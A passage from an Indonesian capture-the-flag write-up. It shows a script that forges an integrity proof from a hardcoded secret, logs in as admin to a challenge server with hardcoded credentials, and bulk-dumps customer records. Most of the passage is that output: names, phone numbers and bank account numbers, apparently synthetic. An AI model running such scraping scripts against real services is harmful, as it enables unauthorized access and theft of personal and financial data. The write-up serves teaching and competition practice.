Budiman","phone":"082255231243","status":"aktif"}],"limit":50,"page":1,"pages":10,"total
":500} 

=== TOP-LEVEL KEYS === 

 customers: [list, 50 items] 

 limit: 50 

 page: 1 

 pages: 10 

 total: 500 

=== ALL FIELDS PER CUSTOMER === 
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 Fields: ['bank_account', 'bank_name', 'customer_id', 'id', 'name', 'phone', 'status'] 

Karena masih belum menemukan flag maka disini saya mencoba mengikuti saran dari 

deepseek yaitu coba membaca isi file resources.arsc dengan script berikut. 

#!/usr/bin/env python3 
import struct 
 
with open("resources.arsc", "rb") as f: 
    data = f.read() 
 
# Parse string pool di resources.arsc 
# Format: header (type=0x0001, headerSize, size) + string pool 
def read_string_pool(data, offset): 
    """Parse string pool mulai dari offset, return list of strings.""" 
    # Chunk header 
    chunk_type, header_size, chunk_size = struct.unpack_from("<HHI", data, offset) 
    if chunk_type != 0x0001: 
        return None, offset 
     
    # String pool header 
    string_count, style_count, flags, strings_start, styles_start = \ 
        struct.unpack_from("<IIIII", data, offset + 8) 
     
    is_utf8 = (flags & (1 << 8)) != 0 
    offsets_start = offset + header_size 
     
    strings = [] 
    for i in range(string_count): 
        str_offset = struct.unpack_from("<I", data, offsets_start + i * 4)[0] 
        pos = offset + strings_start + str_offset 
         
        if is_utf8: 
            # UTF-8: panjang u8/u16 dulu 
            n = data[pos] 
            if n & 0x80: 
                n = ((n & 0x7f) << 8) | data[pos + 1] 
                pos += 2 
            else: 
                pos += 1 
            s = data[pos:pos + n].decode("utf-8", errors="replace") 
        else: 
            # UTF-16 
            n = struct.unpack_from("<H", data, pos)[0] 
            if n & 0x8000: 
                n = ((n & 0x7fff) << 16) | struct.unpack_from("<H", data, pos + 2)[0] 
                pos += 4 
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            else: 
                pos += 2 
            s = data[pos:pos + n * 2].decode("utf-16-le", errors="replace") 
        strings.append(s) 
    return strings, offset + chunk_size 
 
 
# Cari semua string pool di file 
all_strings = [] 
offset = 0 
while offset < len(data) - 8: 
    try: 
        chunk_type = struct.unpack_from("<H", data, offset)[0] 
        if chunk_type == 0x0001:  # RES_STRING_POOL_TYPE 
            strings, new_offset = read_string_pool(data, offset) 
            if strings: 
                all_strings.extend(strings) 
                offset = new_offset 
                continue 
    except Exception: 
        pass 
    offset += 4 
 
print(f"[*] Total string: {len(all_strings)}") 
print() 
 
# Cari yang mencurigakan 
keywords = ["flag", "ifest", "ctf", "nikah", "{", "secret", "key"] 
for s in all_strings: 
    low = s.lower() 
    if any(k in low for k in keywords): 
        print(f"  {s!r}") 

Lalu di dapatkan output berikut :  

  ' abc_menu_hardkey_panel_mtrl_mul' 
  '\x1ftag_unhandled_key_event_manage' 
  '\x1btag_unhandled_key_listener' 

Ternyata cuma file bawaan dari android, Lalu karena ada desc dari challenge yang 

membantu yaitu :  “gather all victim data maybe theres something interesting in data's 

victim.”  , maka disini saya mengecek semua data korban lagi dengan script berikut. 

#!/usr/bin/env python3 
import hashlib, json, urllib.request, urllib.error 
 
URL = "http://144.91.64.93:14927" 
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SECRET = bytes.fromhex("7a3f9c2d8b1e4f6a0d5c3e7b9a2f4d8c") 
 
def http(method, path, data=None, headers=None): 
    hdrs = {"Content-Type": "application/json"} 
    if headers: hdrs.update(headers) 
    body = json.dumps(data).encode() if data is not None else None 
    req = urllib.request.Request(URL + path, data=body, method=method, headers=hdrs) 
    try: 
        with urllib.request.urlopen(req, timeout=15) as r: 
            return r.status, r.read().decode() 
    except urllib.error.HTTPError as e: 
        return e.code, e.read().decode() 
    except Exception as e: 
        return 0, str(e) 
 
nonce = json.loads(http("GET", "/api/nonce")[1])["nonce_token"] 
proof = hashlib.sha256(nonce.split(":")[0].encode() + SECRET).hexdigest() 
st, body = http("POST", "/api/login", { 
    "username": "Admin", "password": "inibeneranadmin", 
    "nonce_token": nonce, "integrity_proof": proof, 
}) 
token = json.loads(body)["token"] 
auth = {"Authorization": f"Bearer {token}"} 
print(f"[+] token ok\n") 
 
# === 1. Limit besar === 
print("=== LIMIT BESAR ===") 
for lim in [50, 100, 500, 1000, 9999, 0, -1]: 
    st, body = http("GET", f"/api/customers?page=1&limit={lim}", None, auth) 
    try: 
        d = json.loads(body) 
        n = len(d.get("customers", [])) 
        total = d.get("total", "?") 
        pages = d.get("pages", "?") 
        print(f"  limit={lim}: {st} count={n} total={total} pages={pages}") 
    except: 
        print(f"  limit={lim}: {st} {body[:100]}") 
 
# === 2. Page di luar range === 
print("\n=== PAGE DI LUAR RANGE ===") 
for p in [0, -1, 11, 12, 100, 99999]: 
    st, body = http("GET", f"/api/customers?page={p}&limit=50", None, auth) 
    try: 
        d = json.loads(body) 
        n = len(d.get("customers", [])) 
        print(f"  page={p}: {st} count={n}") 
        if n > 0: 
            print(f"    sample: {json.dumps(d['customers'][0])[:150]}") 
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    except: 
        print(f"  page={p}: {st} {body[:100]}") 
 
# === 3. Dump 500 dan cek gap ID === 
print("\n=== CEK GAP ID ===") 
all_c = [] 
for page in range(1, 11): 
    d = json.loads(http("GET", f"/api/customers?page={page}&limit=50", None, auth)[1]) 
    all_c.extend(d.get("customers", [])) 
 
ids = sorted(set(c["id"] for c in all_c)) 
print(f"  Total ID: {len(ids)}, range: {min(ids)}-{max(ids)}") 
missing = set(range(min(ids), max(ids) + 1)) - set(ids) 
if missing: 
    print(f"  MISSING IDS: {sorted(missing)}") 
    for mid in sorted(missing): 
        # Coba akses customer dengan ID yang hilang 
        st, body = http("POST", "/api/customer/detail", {"cid": str(mid), "full": True}, auth) 
        print(f"    id={mid} -> {st} {body[:200]}") 
 
# === 4. Cek customer_id unik === 
cids = [c["customer_id"] for c in all_c] 
print(f"\n=== customer_id: total={len(cids)}, unik={len(set(cids))}") 
 
# === 5. Cari yang "menarik" di semua field === 
print("\n=== FIELD MENARIK ===") 
for c in all_c: 
    name = c.get("name", "") 
    bank = c.get("bank_name", "") 
    phone = c.get("phone", "") 
    status = c.get("status", "") 
    acct = c.get("bank_account", "") 
     
    # Flag biasanya ada di satu field aneh 
    if "{" in str(c) and "}" in str(c): 
        print(f"  BRACE: {json.dumps(c)}") 
    if "flag" in name.lower() or "flag" in bank.lower(): 
        print(f"  FLAG WORD: {json.dumps(c)}") 
    if status not in ("aktif", "nonaktif"): 
        print(f"  STATUS: {json.dumps(c)}") 
    if not phone.startswith("08") or len(phone) != 12: 
        print(f"  PHONE: {json.dumps(c)}") 
    if len(acct) > 20 or len(acct) < 5: 
        print(f"  ACCT: {json.dumps(c)}") 
 
# === 6. Detail SEMUA customer dengan full=true === 
print("\n=== DETAIL SEMUA (full=true) ===") 
found_extra = False 

Presented by @hackitbraw_ub 



110 

for c in all_c: 
    cid = c["customer_id"] 
    st, body = http("POST", "/api/customer/detail", {"cid": cid, "full": True}, auth) 
    if st == 200: 
        try: 
            d = json.loads(body) 
            extra = set(d.keys()) - set(c.keys()) 
            if extra: 
                print(f"  EXTRA FIELD cid={cid}: {extra}") 
                print(f"    {json.dumps(d)}") 
                found_extra = True 
            # Cek string mencurigakan 
            for k, v in d.items(): 
                sv = str(v).lower() 
                if "flag" in sv or "ifest" in sv or "ctf" in sv or ("{" in sv and "}" in sv): 
                    print(f"  SUSPECT cid={cid}: {json.dumps(d)}") 
                    found_extra = True 
        except: pass 
if not found_extra: 
    print("  (tidak ada field tambahan)") 
 
# === 7. Parameter tambahan === 
print("\n=== PARAMETER TAMBAHAN ===") 
cid = all_c[0]["customer_id"] 
extras = [ 
    {"cid": cid, "full": True, "dump": True}, 
    {"cid": cid, "full": True, "admin": True}, 
    {"cid": cid, "full": True, "all": True}, 
    {"cid": cid, "full": True, "raw": True}, 
    {"cid": cid, "full": True, "export": True}, 
    {"cid": cid, "full": True, "verbose": True}, 
    {"cid": cid, "full": "1"}, 
    {"cid": cid, "full": "yes"}, 
    {"cid": cid, "full": "TRUE"}, 
] 
for e in extras: 
    st, body = http("POST", "/api/customer/detail", e, auth) 
    if len(body) > len(json.dumps(all_c[0])) + 50: 
        print(f"  {e} -> {st} {body[:300]}") 

Dan ketika di jalankan mendapatkan output berikut. 

[+] token ok 
 
=== LIMIT BESAR === 
  limit=50: 200 count=50 total=500 pages=10 
  limit=100: 200 count=50 total=500 pages=10 
  limit=500: 200 count=50 total=500 pages=10 
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  limit=1000: 200 count=50 total=500 pages=10 
  limit=9999: 200 count=50 total=500 pages=10 
  limit=0: 200 count=1 total=500 pages=500 
  limit=-1: 200 count=1 total=500 pages=500 
 
=== PAGE DI LUAR RANGE === 
  page=0: 200 count=50 
    sample: {"bank_account": "0013389083863794", "bank_name": "BCA", "customer_id": 
"59d20d850316d252", "id": 1, "name": "Hendri Kusuma", "phone": "081243321819", 
  page=-1: 200 count=50 
    sample: {"bank_account": "0013389083863794", "bank_name": "BCA", "customer_id": 
"59d20d850316d252", "id": 1, "name": "Hendri Kusuma", "phone": "081243321819", 
  page=11: 200 count=0 
  page=12: 200 count=0 
  page=100: 200 count=0 
  page=99999: 200 count=0 
 
=== CEK GAP ID === 
  Total ID: 500, range: 1-500 
 
=== customer_id: total=500, unik=500 
 
=== FIELD MENARIK === 
  BRACE: {"bank_account": "0013389083863794", "bank_name": "BCA", "customer_id": 
"59d20d850316d252", "id": 1, "name": "Hendri Kusuma", "phone": "081243321819", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "07816184959310", "bank_name": "Mandiri", "customer_id": 
"8f843cc50a12603c", "id": 2, "name": "Lestari Siregar", "phone": "082135116155", 
"status": "aktif"} 
  BRACE: {"bank_account": "832764835030", "bank_name": "BSI", "customer_id": 
"7c3710b36b0ca9b6", "id": 3, "name": "Tono Siregar", "phone": "085852553419", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "9653287101226916", "bank_name": "Danamon", 
"customer_id": "56815d3725f89b5b", "id": 4, "name": "Wati Haryanto", "phone": 
"085824238849", "status": "aktif"} 
  BRACE: {"bank_account": "4828148932", "bank_name": "BSI", "customer_id": 
"a52b2d2d4c27138c", "id": 5, "name": "Desy Susanto", "phone": "081384514627", 
"status": "aktif"} 
  BRACE: {"bank_account": "1718227824", "bank_name": "BTN", "customer_id": 
"4944b3d69d8ffdcd", "id": 6, "name": "Gilang Manurung", "phone": "085801543039", 
"status": "aktif"} 
  BRACE: {"bank_account": "150983930103", "bank_name": "BNI", "customer_id": 
"fa6c3b76aa35d855", "id": 7, "name": "Reza Santoro", "phone": "082246578713", 
"status": "aktif"} 
  BRACE: {"bank_account": "3116566701065133", "bank_name": "Mandiri", 
"customer_id": "ce99fd3f07d5e9c5", "id": 8, "name": "Indah Atmaja", "phone": 
"085838299737", "status": "aktif"} 
  BRACE: {"bank_account": "1326773602", "bank_name": "Danamon", "customer_id": 
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"ce7a5ad31970ed7f", "id": 9, "name": "Eka Hidayat", "phone": "085173178108", "status": 
"nonaktif"} 
  BRACE: {"bank_account": "00978820812191", "bank_name": "Mandiri", "customer_id": 
"9a5103a6a65ba564", "id": 10, "name": "Rizky Lubis", "phone": "085823430980", 
"status": "aktif"} 
  BRACE: {"bank_account": "5107991183842513", "bank_name": "BSI", "customer_id": 
"0a22425753e0a888", "id": 11, "name": "Arif Atmaja", "phone": "085243534624", 
"status": "aktif"} 
  BRACE: {"bank_account": "449353487401", "bank_name": "Danamon", "customer_id": 
"4bec2fcdb0c0006b", "id": 12, "name": "Ratna Haryanto", "phone": "081284124118", 
"status": "aktif"} 
  BRACE: {"bank_account": "805982620450", "bank_name": "BSI", "customer_id": 
"7769852c57795321", "id": 13, "name": "Linda Wibowo", "phone": "085127868011", 
"status": "aktif"} 
  BRACE: {"bank_account": "2563421607", "bank_name": "Mandiri", "customer_id": 
"5da8e491531d3603", "id": 14, "name": "Anton Utama", "phone": "085286923226", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "86850142940196", "bank_name": "BSI", "customer_id": 
"f98ae654ddffc7a9", "id": 15, "name": "Doni Sinaga", "phone": "082230365414", "status": 
"nonaktif"} 
  BRACE: {"bank_account": "561595148465", "bank_name": "Danamon", "customer_id": 
"1a3e86ea5eaf657c", "id": 16, "name": "Gilang Budiman", "phone": "081369340608", 
"status": "aktif"} 
  BRACE: {"bank_account": "36995777387214", "bank_name": "BTN", "customer_id": 
"9604c495dc2d7f1c", "id": 17, "name": "Hendra Hasibuan", "phone": "085729946804", 
"status": "aktif"} 
  BRACE: {"bank_account": "7693676320", "bank_name": "BNI", "customer_id": 
"de1765313a2d7258", "id": 18, "name": "Nur Santoro", "phone": "082243320037", 
"status": "aktif"} 
  BRACE: {"bank_account": "8727743487347143", "bank_name": "CIMB Niaga", 
"customer_id": "3e66ff43d1dbe1ea", "id": 19, "name": "Rudi Tanjung", "phone": 
"082178895798", "status": "aktif"} 
  BRACE: {"bank_account": "6036690967054668", "bank_name": "BTN", "customer_id": 
"0729fd64fa6628dd", "id": 20, "name": "Rina Pratama", "phone": "082262316658", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "6990162720", "bank_name": "CIMB Niaga", "customer_id": 
"26910586a8c79555", "id": 21, "name": "Bambang Siregar", "phone": "085770656272", 
"status": "aktif"} 
  BRACE: {"bank_account": "0330923271", "bank_name": "BPD DIY", "customer_id": 
"d9658d7191853c45", "id": 22, "name": "Taufik Hasibuan", "phone": "085117080531", 
"status": "aktif"} 
  BRACE: {"bank_account": "96631931491905", "bank_name": "BTN", "customer_id": 
"33ae03c7723e03e8", "id": 23, "name": "Linda Situmorang", "phone": "082199124190", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "7694531473799650", "bank_name": "Bank Jatim", 
"customer_id": "487111ac0d9b70c1", "id": 24, "name": "Sri Lubis", "phone": 
"085272628498", "status": "aktif"} 
  BRACE: {"bank_account": "678377701436", "bank_name": "Mandiri", "customer_id": 
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"4ecf3e7b2078dab5", "id": 25, "name": "Doni Nasution", "phone": "085249480831", 
"status": "aktif"} 
  BRACE: {"bank_account": "18233749894134", "bank_name": "Mandiri", "customer_id": 
"0b21068f4892fe91", "id": 26, "name": "Eka Halim", "phone": "085257444313", "status": 
"aktif"} 
  BRACE: {"bank_account": "9477752047", "bank_name": "BNI", "customer_id": 
"3313dff36340b2f3", "id": 27, "name": "Sinta Hartono", "phone": "082140084271", 
"status": "aktif"} 
  BRACE: {"bank_account": "9993867749649909", "bank_name": "BNI", "customer_id": 
"d341de025e268efb", "id": 28, "name": "Farhan Mulyadi", "phone": "081222941318", 
"status": "aktif"} 
  BRACE: {"bank_account": "9740344713493618", "bank_name": "Mandiri", 
"customer_id": "0be7e33fcadf9b09", "id": 29, "name": "Wahyu Atmaja", "phone": 
"081323281206", "status": "aktif"} 
  BRACE: {"bank_account": "64887719065940", "bank_name": "BNI", "customer_id": 
"d70c7578ea4647a6", "id": 30, "name": "Dian Raharjo", "phone": "081224994717", 
"status": "aktif"} 
  BRACE: {"bank_account": "7175655125674680", "bank_name": "Bank Jatim", 
"customer_id": "7184181f321f12ca", "id": 31, "name": "Taufik Wahyudi", "phone": 
"085190278742", "status": "aktif"} 
  BRACE: {"bank_account": "97703482477109", "bank_name": "Mandiri", "customer_id": 
"1dc5236dbe043449", "id": 32, "name": "Rudi Supriadi", "phone": "085780876038", 
"status": "aktif"} 
  BRACE: {"bank_account": "67737826398214", "bank_name": "Danamon", "customer_id": 
"ac8cbfa44031967f", "id": 33, "name": "Desy Susanto", "phone": "085713171274", 
"status": "aktif"} 
  BRACE: {"bank_account": "7533963605766270", "bank_name": "BRI", "customer_id": 
"da800b19e9a0f2cd", "id": 34, "name": "Diky Sinaga", "phone": "085827875588", 
"status": "aktif"} 
  BRACE: {"bank_account": "59615865780913", "bank_name": "CIMB Niaga", 
"customer_id": "66a86b3dae33b7e1", "id": 35, "name": "Sri Rangkuti", "phone": 
"081387026217", "status": "aktif"} 
  BRACE: {"bank_account": "56238692221969", "bank_name": "Mandiri", "customer_id": 
"e9e31fbf0d841900", "id": 36, "name": "Eka Utama", "phone": "081372400504", "status": 
"aktif"} 
  BRACE: {"bank_account": "4743671369594406", "bank_name": "CIMB Niaga", 
"customer_id": "a113dbbbc365a31e", "id": 37, "name": "Anton Susanto", "phone": 
"085848217594", "status": "nonaktif"} 
  BRACE: {"bank_account": "4709521456", "bank_name": "BRI", "customer_id": 
"859988d82e4a16a0", "id": 38, "name": "Rizky Supriadi", "phone": "082295339421", 
"status": "aktif"} 
  BRACE: {"bank_account": "368516048175", "bank_name": "CIMB Niaga", "customer_id": 
"e47961a34616f1e2", "id": 39, "name": "Nurul Budiman", "phone": "085124745171", 
"status": "aktif"} 
  BRACE: {"bank_account": "4612004711382675", "bank_name": "BTN", "customer_id": 
"2897071f65d24370", "id": 40, "name": "Sri Wahyudi", "phone": "082270985931", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "06431713900532", "bank_name": "BPD DIY", "customer_id": 
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"d87c98de68c41c32", "id": 41, "name": "Indah Santoso", "phone": "085237735158", 
"status": "aktif"} 
  BRACE: {"bank_account": "21020539502402", "bank_name": "Danamon", "customer_id": 
"81033f5d2c8c7655", "id": 42, "name": "Sari Kurniawan", "phone": "082252904228", 
"status": "aktif"} 
  BRACE: {"bank_account": "70076617711592", "bank_name": "BNI", "customer_id": 
"9e0a93e6ca07abe4", "id": 43, "name": "Bayu Rangkuti", "phone": "085289178390", 
"status": "aktif"} 
  BRACE: {"bank_account": "7365766156545271", "bank_name": "BNI", "customer_id": 
"3b4e660513f86725", "id": 44, "name": "Tono Firmansyah", "phone": "085178961183", 
"status": "aktif"} 
  BRACE: {"bank_account": "5604945198327315", "bank_name": "BTN", "customer_id": 
"a59ff370f5afe6ed", "id": 45, "name": "Rosa Halim", "phone": "085228098851", "status": 
"aktif"} 
  BRACE: {"bank_account": "2296120183", "bank_name": "Danamon", "customer_id": 
"baa7d7c50d02d4ca", "id": 46, "name": "Eka Legowo", "phone": "081294024455", 
"status": "aktif"} 
  BRACE: {"bank_account": "6438156149784036", "bank_name": "BPD DIY", 
"customer_id": "e2d4bda1a8d22c0b", "id": 47, "name": "Dewi Pratama", "phone": 
"082190147679", "status": "aktif"} 
  BRACE: {"bank_account": "683885160607", "bank_name": "BNI", "customer_id": 
"68b3ef2460890d84", "id": 48, "name": "Fitri Supriadi", "phone": "082144510762", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "3696816453", "bank_name": "BSI", "customer_id": 
"e4932a83c8278718", "id": 49, "name": "Rizky Kusuma", "phone": "085705297516", 
"status": "aktif"} 
  BRACE: {"bank_account": "921277997995", "bank_name": "BSI", "customer_id": 
"0a135d7feba699c5", "id": 50, "name": "Nurul Budiman", "phone": "082255231243", 
"status": "aktif"} 
  BRACE: {"bank_account": "0054119986798079", "bank_name": "Mandiri", 
"customer_id": "823f6bcbc69b194f", "id": 51, "name": "Bayu Rangkuti", "phone": 
"085149058147", "status": "aktif"} 
  BRACE: {"bank_account": "554665905151", "bank_name": "BTN", "customer_id": 
"d56b71559fa8e97a", "id": 52, "name": "Dewi Rangkuti", "phone": "081351820377", 
"status": "aktif"} 
  BRACE: {"bank_account": "4865281685", "bank_name": "BCA", "customer_id": 
"05d2c37e60d75b1b", "id": 53, "name": "Wahyu Kristianto", "phone": "082151925462", 
"status": "aktif"} 
  BRACE: {"bank_account": "5929622292", "bank_name": "Bank Jatim", "customer_id": 
"69098981fe0385dc", "id": 54, "name": "Lestari Supriadi", "phone": "085833221418", 
"status": "aktif"} 
  BRACE: {"bank_account": "7468862392407581", "bank_name": "BTN", "customer_id": 
"8e287384a08c7997", "id": 55, "name": "Yusuf Iskandar", "phone": "085173834735", 
"status": "aktif"} 
  BRACE: {"bank_account": "8536153051522047", "bank_name": "BRI", "customer_id": 
"b54543ad1ddb6ccf", "id": 56, "name": "Indah Rangkuti", "phone": "082161375060", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "4341036971", "bank_name": "BNI", "customer_id": 
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"4c819620928858ec", "id": 57, "name": "Ratna Susanto", "phone": "081304328986", 
"status": "aktif"} 
  BRACE: {"bank_account": "18888806706540", "bank_name": "BSI", "customer_id": 
"a24100834ba3c350", "id": 58, "name": "Rizky Lubis", "phone": "081295396218", 
"status": "aktif"} 
  BRACE: {"bank_account": "217043030548", "bank_name": "Danamon", "customer_id": 
"0e4f36c91baee9fe", "id": 59, "name": "Linda Handoko", "phone": "085220585277", 
"status": "aktif"} 
  BRACE: {"bank_account": "7652775841616928", "bank_name": "CIMB Niaga", 
"customer_id": "8e930586ee93b475", "id": 60, "name": "Ahmad Santoro", "phone": 
"082245054156", "status": "aktif"} 
  BRACE: {"bank_account": "96401658202970", "bank_name": "BRI", "customer_id": 
"9f9fc4738d9d0bca", "id": 61, "name": "Anton Harahap", "phone": "085179627570", 
"status": "aktif"} 
  BRACE: {"bank_account": "856543102786", "bank_name": "BTN", "customer_id": 
"ce31d88ce3e34471", "id": 62, "name": "Tono Prasetyo", "phone": "081292755719", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "5518844225", "bank_name": "BTN", "customer_id": 
"8306a6b12a0d70b1", "id": 63, "name": "Fitri Iskandar", "phone": "085173121727", 
"status": "aktif"} 
  BRACE: {"bank_account": "1467866912", "bank_name": "BSI", "customer_id": 
"7252d5df2448adbc", "id": 64, "name": "Rina Simanjuntak", "phone": "085805895782", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "8242253584", "bank_name": "BNI", "customer_id": 
"225822f44a2ad3a8", "id": 65, "name": "Putri Wahyudi", "phone": "085228922680", 
"status": "aktif"} 
  BRACE: {"bank_account": "90010943969078", "bank_name": "CIMB Niaga", 
"customer_id": "a9eb34ff9b2bcfca", "id": 66, "name": "Hendri Sinaga", "phone": 
"081382992299", "status": "nonaktif"} 
  BRACE: {"bank_account": "3592555625881537", "bank_name": "BNI", "customer_id": 
"2a89f79e5305b06d", "id": 67, "name": "Ani Wahyudi", "phone": "085747102767", 
"status": "aktif"} 
  BRACE: {"bank_account": "278774701687", "bank_name": "Mandiri", "customer_id": 
"bbb6060ff4dc4b25", "id": 68, "name": "Sri Purnomo", "phone": "085169632595", 
"status": "aktif"} 
  BRACE: {"bank_account": "456506098358", "bank_name": "CIMB Niaga", "customer_id": 
"fcfdcb0fc694241b", "id": 69, "name": "Dewi Purnomo", "phone": "085179748016", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "23986800025787", "bank_name": "BRI", "customer_id": 
"35a131de33cfe56d", "id": 70, "name": "Taufik Legowo", "phone": "085199121655", 
"status": "aktif"} 
  BRACE: {"bank_account": "9470551694097499", "bank_name": "Mandiri", 
"customer_id": "bf8f57179e0ea4db", "id": 71, "name": "Fajar Iskandar", "phone": 
"085226949588", "status": "nonaktif"} 
  BRACE: {"bank_account": "62636897028385", "bank_name": "Bank Jatim", 
"customer_id": "8884f5c4f88aa4b6", "id": 72, "name": "Agus Suyanto", "phone": 
"085723091307", "status": "aktif"} 
  BRACE: {"bank_account": "34437575844198", "bank_name": "Danamon", "customer_id": 
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"c72f40da7529528a", "id": 73, "name": "Yuli Tanjung", "phone": "085285497334", 
"status": "aktif"} 
  BRACE: {"bank_account": "9933083301", "bank_name": "Danamon", "customer_id": 
"c376a78741350181", "id": 74, "name": "Yusuf Haryanto", "phone": "085173384842", 
"status": "aktif"} 
  BRACE: {"bank_account": "9380262067", "bank_name": "BRI", "customer_id": 
"a14c08324d6eb7f4", "id": 75, "name": "Budi Legowo", "phone": "082167734540", 
"status": "aktif"} 
  BRACE: {"bank_account": "4315274205493296", "bank_name": "Danamon", 
"customer_id": "97226fb7940f9aac", "id": 76, "name": "Budi Sinaga", "phone": 
"081354788728", "status": "aktif"} 
  BRACE: {"bank_account": "745499045301", "bank_name": "Bank Jatim", "customer_id": 
"f416fb793a6c6ea6", "id": 77, "name": "Wati Atmaja", "phone": "081322753046", 
"status": "aktif"} 
  BRACE: {"bank_account": "68783391878519", "bank_name": "BNI", "customer_id": 
"b7a950a93ead5d7b", "id": 78, "name": "Rian Kusuma", "phone": "085159332727", 
"status": "aktif"} 
  BRACE: {"bank_account": "8707286790", "bank_name": "BTN", "customer_id": 
"ac0795b5290ef1e3", "id": 79, "name": "Farhan Hartono", "phone": "082125871397", 
"status": "aktif"} 
  BRACE: {"bank_account": "265676618251", "bank_name": "BRI", "customer_id": 
"5dbe8d2adfc46e37", "id": 80, "name": "Ahmad Lubis", "phone": "085218017046", 
"status": "aktif"} 
  BRACE: {"bank_account": "752431069033", "bank_name": "BNI", "customer_id": 
"b18b82f30c750b20", "id": 81, "name": "Diky Gunawan", "phone": "081204786863", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "843959953428", "bank_name": "Mandiri", "customer_id": 
"535010b2221387cb", "id": 82, "name": "Gilang Wahyudi", "phone": "081230673830", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "2873342708668826", "bank_name": "Mandiri", 
"customer_id": "bf459a260683bc51", "id": 83, "name": "Desy Cahyono", "phone": 
"081256856624", "status": "aktif"} 
  BRACE: {"bank_account": "3983735403", "bank_name": "Mandiri", "customer_id": 
"8fc4cb495a069e5f", "id": 84, "name": "Yusuf Situmorang", "phone": "081383046990", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "44587717535560", "bank_name": "BPD DIY", "customer_id": 
"d96654d7cc2c7911", "id": 85, "name": "Ani Sumarto", "phone": "082263854678", 
"status": "aktif"} 
  BRACE: {"bank_account": "8547772522872808", "bank_name": "BCA", "customer_id": 
"99f5529e699c4ad0", "id": 86, "name": "Siti Nasution", "phone": "085742353693", 
"status": "aktif"} 
  BRACE: {"bank_account": "7008860084840862", "bank_name": "BNI", "customer_id": 
"b9e997ee53f673de", "id": 87, "name": "Arif Wibowo", "phone": "082212038750", 
"status": "aktif"} 
  BRACE: {"bank_account": "341016668700", "bank_name": "BRI", "customer_id": 
"838381ac28d87771", "id": 88, "name": "Hendra Iskandar", "phone": "085154615679", 
"status": "aktif"} 
  BRACE: {"bank_account": "2503926142", "bank_name": "BPD DIY", "customer_id": 
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"c7d7a270d772b008", "id": 89, "name": "Farhan Utama", "phone": "081233974014", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "159996504773", "bank_name": "BSI", "customer_id": 
"9bbbf0e1f91dd4d8", "id": 90, "name": "Mega Hartono", "phone": "085262185016", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "2655110475412126", "bank_name": "Bank Jatim", 
"customer_id": "74a004d2bf0d55a8", "id": 91, "name": "Yuli Wahyudi", "phone": 
"085719431142", "status": "nonaktif"} 
  BRACE: {"bank_account": "66183982622444", "bank_name": "Bank Jatim", 
"customer_id": "6590e07985244ab0", "id": 92, "name": "Sri Wijaya", "phone": 
"081358199560", "status": "aktif"} 
  BRACE: {"bank_account": "712406596575", "bank_name": "Danamon", "customer_id": 
"64231b20f0596679", "id": 93, "name": "Eka Siregar", "phone": "085747154379", 
"status": "aktif"} 
  BRACE: {"bank_account": "564651939828", "bank_name": "BCA", "customer_id": 
"cf822cb47715cbb8", "id": 94, "name": "Maya Manurung", "phone": "082275265479", 
"status": "aktif"} 
  BRACE: {"bank_account": "1797968868058911", "bank_name": "Mandiri", 
"customer_id": "301111f8a0908c3b", "id": 95, "name": "Yusuf Harahap", "phone": 
"081367243426", "status": "aktif"} 
  BRACE: {"bank_account": "888993756798", "bank_name": "BRI", "customer_id": 
"5cd287c7e24c6b8c", "id": 96, "name": "Agus Haryanto", "phone": "081296561014", 
"status": "aktif"} 
  BRACE: {"bank_account": "5717751401051238", "bank_name": "BRI", "customer_id": 
"2806ae1e224e19a9", "id": 97, "name": "Rizky Hasibuan", "phone": "081312545738", 
"status": "aktif"} 
  BRACE: {"bank_account": "796603341918", "bank_name": "BRI", "customer_id": 
"5d9b9e3851ff516e", "id": 98, "name": "Desy Lubis", "phone": "085836226609", "status": 
"nonaktif"} 
  BRACE: {"bank_account": "57924991251341", "bank_name": "BRI", "customer_id": 
"34e18f4b33b342bb", "id": 99, "name": "Rudi Nasution", "phone": "085885969691", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "742257905072", "bank_name": "Mandiri", "customer_id": 
"d9e9d5fa2e2929fa", "id": 100, "name": "Arif Firmansyah", "phone": "082196627828", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "27978819148580", "bank_name": "Bank Jatim", 
"customer_id": "7d5c9333366060fd", "id": 101, "name": "Ayu Nugraha", "phone": 
"081390340438", "status": "nonaktif"} 
  BRACE: {"bank_account": "395962923309", "bank_name": "BSI", "customer_id": 
"f1e36237259f7da5", "id": 102, "name": "Sri Halim", "phone": "082240745171", "status": 
"aktif"} 
  BRACE: {"bank_account": "22325367294667", "bank_name": "BNI", "customer_id": 
"2c9aab2ae625344a", "id": 103, "name": "Fajar Prayogo", "phone": "085149481260", 
"status": "aktif"} 
  BRACE: {"bank_account": "18636374545892", "bank_name": "BPD DIY", "customer_id": 
"c8bfa7c4096450f7", "id": 104, "name": "Wati Budiman", "phone": "085157759017", 
"status": "aktif"} 
  BRACE: {"bank_account": "41520643611037", "bank_name": "BNI", "customer_id": 
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"6b78d64da2a5968a", "id": 105, "name": "Agus Rangkuti", "phone": "085806324241", 
"status": "aktif"} 
  BRACE: {"bank_account": "611155426221", "bank_name": "BTN", "customer_id": 
"5518b1d7122e83de", "id": 106, "name": "Nurul Wahyudi", "phone": "085800516271", 
"status": "aktif"} 
  BRACE: {"bank_account": "9656523413", "bank_name": "BTN", "customer_id": 
"e0ceea4e0a0e4b09", "id": 107, "name": "Yusuf Pardede", "phone": "082226973112", 
"status": "aktif"} 
  BRACE: {"bank_account": "3761379180", "bank_name": "BSI", "customer_id": 
"6e86bc7cb7e2795f", "id": 108, "name": "Linda Sumarto", "phone": "081243898364", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "0684866618", "bank_name": "BTN", "customer_id": 
"44e4081e5e38f656", "id": 109, "name": "Hani Hartono", "phone": "082171091043", 
